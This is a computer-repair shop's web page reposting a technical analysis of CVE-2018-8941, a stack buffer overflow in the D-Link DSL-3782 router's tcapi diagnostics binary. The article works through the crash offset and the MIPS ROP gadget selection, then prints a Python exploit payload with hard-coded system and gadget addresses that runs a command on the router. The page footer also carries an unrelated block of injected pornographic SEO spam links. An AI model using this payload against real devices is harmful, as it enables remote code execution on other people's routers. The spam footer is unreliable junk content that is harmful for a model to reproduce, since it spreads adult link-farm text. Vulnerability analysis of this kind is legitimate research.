錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務(wù)項目 服務(wù)報價 維修流程 IT外包服務(wù) 服務(wù)器維護 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù)技術(shù)文章
D-Link DSL-3782 代碼路由器漏洞分析CVE-2018-8941 遠程代碼執(zhí)行

作者: 佚名  日期:2018-05-23 14:25:20   來源: 本站整理

一. 漏洞概述

CVE-2018-8941 D-Link DSL-3782 代碼執(zhí)行 

友訊科技股份有限公司成立于1986年,專注于電腦網(wǎng)路設(shè)備的設(shè)計開發(fā),并自創(chuàng)「D-Link」品牌,行銷全球。

此漏洞位于 D-Link DSL-3782路由器,授權(quán)用戶可以遠程代碼執(zhí)行

參考信息:https://github.com/SECFORCE/CVE-2018-8941#cve-2018-8941-d-link-dsl-3782-code-execution-proof-of-concept

漏洞固件版本:DSL-3782_A1_EU_1.01_07282016.bin

下載鏈接:

https://eu.dlink.com/cz/cs/products/dsl-3782-wireless-ac1200-dual-band-vdsl-adsl-modem-router#Technical-Specifications

漏洞存在于 “/USEFS/BI/TCAPI”二進制文件中,它被用作Web GUI中“診斷”功能的實現(xiàn)代碼,一個經(jīng)過身份驗證的用戶可以使用一個長緩沖區(qū)作為參數(shù),導(dǎo)致內(nèi)存損壞。此外,可以重定向程序的流程并執(zhí)行任意代碼。

 

 

二. 漏洞分析

 

 

2.1 控制eip

 

 

/userfs/bin/tcapi輸入不當?shù)膮?shù)會觸發(fā)漏洞

 

 

MIPS 大端結(jié)構(gòu)

 

 

路由器漏洞分析第七彈:CVE-2018-8941 遠程代碼執(zhí)行

 

 

Tcapiset 命令用法如下

 

 

路由器漏洞分析第七彈:CVE-2018-8941 遠程代碼執(zhí)行

 

 

tcapi set會調(diào)用Libtcapi.so.1中的tcapi_set函數(shù)

 

 

其中第二個Strcpy拷貝未驗證src的長度,導(dǎo)致棧溢出

 

 

路由器漏洞分析第七彈:CVE-2018-8941 遠程代碼執(zhí)行

 

 

ra放在-4 ,拷貝的目標地址在- 0×258,0×258-0×4=596,

 

 

Payload=”A”*596+”BBBB”測試一下

 

 

圖片.png

 

 

路由器漏洞分析第七彈:CVE-2018-8941 遠程代碼執(zhí)行

 

 

Crash的時候,eip為42424242,位置正確,此時s1,s0,s2,s3 可以被控制

 

 

路由器漏洞分析第七彈:CVE-2018-8941 遠程代碼執(zhí)行

 

 

2.2 構(gòu)造rop鏈

 

 

貌似還是很友好

 

 

路由器漏洞分析第七彈:CVE-2018-8941 遠程代碼執(zhí)行

 

 

由于本身文件很小,可能不太好找到合適的godget,看下內(nèi)存,用了如下的lib文件

 

 

路由器漏洞分析第七彈:CVE-2018-8941 遠程代碼執(zhí)行

 

 

Libc里面的godget比較多,mips下的rop主要是去找到 move t9,xxx;jalrt9這樣的指令來達到控制執(zhí)行流程的目的,其中xxx是我們在溢出的時候可以控制的寄存器。此漏洞中我們可以控制s0,s1,s2,s3 寄存器。

 

 

用misprop插件在IDA 搜索godget

 

 

直接搜索從棧中讀取參數(shù)到寄存器的godget

 

 

路由器漏洞分析第七彈:CVE-2018-8941 遠程代碼執(zhí)行

 

 

找到如下的godget,把棧中的參數(shù)放到s5,再直接放到a0作為下一個call參數(shù),并把system的地址從s0傳到t9,一個godget搞定

 

 

路由器漏洞分析第七彈:CVE-2018-8941 遠程代碼執(zhí)行

 

 

現(xiàn)在只差s5 的值了,可以看到s5=sp+0×10,那么在payload中ra的后面16字節(jié)后再放我們需要system執(zhí)行的參數(shù)

 

 

路由器漏洞分析第七彈:CVE-2018-8941 遠程代碼執(zhí)行

 

 

我們的參數(shù)需要放到

 

 

構(gòu)造如下的payload:

#!/usr/bin/envpython  import sys  import struct  libc =0x40868000  s0=struct.pack(">I",0x408C1BB0)#system  s1=struct.pack(">I",0x41414141)#useless  s2=struct.pack(">I",0x43434343)#useless  s3=struct.pack(">I",0x44444444)#useless  ra=struct.pack(">I",0x4087E56C)#godget1  x="A"*580+s0+s1+s2+s3+ra+"x"*16+"ls"

 

 

 

執(zhí)行后,

 

 

可以在截圖中看到,成功執(zhí)行了我們的遠程命令“ls“”

 

 

路由器漏洞分析第七彈:CVE-2018-8941 遠程代碼執(zhí)行

*本文作者:kczwa1,轉(zhuǎn)載請注明來自FreeBuf.COM



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡(luò)請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅(qū)動時提示不包含數(shù)字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    主站蜘蛛池模板: 无码中文字幕人妻在线一区二区三区| 在线高清无码A.| 日韩精品无码成人专区| 国产午夜鲁丝片AV无码| 国产午夜无码专区喷水| 精品无码av一区二区三区| 精品无码久久久久久久久水蜜桃 | 国产色爽免费无码视频| 亚洲AV人无码激艳猛片| 国产精品无码MV在线观看| 一本加勒比hezyo无码专区| 精品久久久久久无码不卡| 亚洲午夜国产精品无码| 精品久久久久久无码人妻中文字幕| 国产综合无码一区二区辣椒 | 亚洲精品成人无码中文毛片不卡| 亚洲中文字幕久久精品无码2021| HEYZO无码综合国产精品227| 一区二区无码免费视频网站| 亚洲AV无码精品无码麻豆| 亚洲精品一级无码中文字幕| 国产午夜av无码无片久久96| 亚洲AV成人噜噜无码网站| 一本色道无码不卡在线观看| 内射人妻无套中出无码| 无码无需播放器在线观看| 无码AV波多野结衣久久| 中出人妻中文字幕无码| 最新中文字幕AV无码不卡| 国产在线无码制服丝袜无码| 无码激情做a爰片毛片AV片| 无码日本电影一区二区网站| 亚洲国产精品无码观看久久| 精品少妇无码AV无码专区| 无码AV中文字幕久久专区| 亚洲综合无码一区二区| 日韩AV无码精品人妻系列| 久久亚洲AV成人出白浆无码国产| 亚洲AV无码乱码国产麻豆| 小SAO货水好多真紧H无码视频 | 在线播放无码后入内射少妇|